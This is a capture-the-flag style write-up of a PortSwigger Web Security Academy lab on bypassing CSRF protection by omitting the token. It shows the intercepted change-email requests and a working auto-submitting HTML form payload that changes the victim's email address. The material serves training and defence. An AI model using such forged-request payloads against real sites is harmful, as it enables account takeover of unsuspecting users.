Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Token Omission Bypass
Difficulty Practitioner
Objective Change the victim's email address by bypassing CSRF token validation

CSRF where token validation depends on token being present — Writeup


Initial Observation

Logged in as wiener:peter. Account page:

My Account

Your username is: wiener
Your email is: wiener@normal-user.net
Screenshot

Web — Email Change Request Analysis

Intercepting the email update:

Screenshot
POST /my-account/change-email HTTP/2
email=teto@tetomail.com&csrf=sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr

CSRF token is present. Inspecting the form source confirms it comes from a hidden input:

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <input required="" type="hidden" name="csrf" value="sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr">
    <button class="button" type="submit"> Update email </button>
</form>
Screenshot

Testing what happens when the token is stripped from the request entirely:

POST /my-account/change-email HTTP/2
email=kasane@tetomail.com

302 Found — the email change went through. The server doesn't reject requests where the token is absent — it only validates the token when it's actually submitted. That's the bypass: don't send it at all.


Building the PoC — Token Omission

Crafting a form identical to the original but with the CSRF hidden input removed:

<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="kasane@tetomail.com">
</form>

<script>
    document.forms[0].submit();
</script>

Storing it on the exploit server and viewing the exploit while logged in as wiener — email changes to kasane@tetomail.com:

Screenshot
Screenshot

Chain confirmed. Updating the target email to the attack address and delivering to the victim:

<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="miku@mikumail.com">
</form>

<script>
    document.forms[0].submit();
</script>
Screenshot

Lab solved. The victim's email is now miku@mikumail.com :P

Resources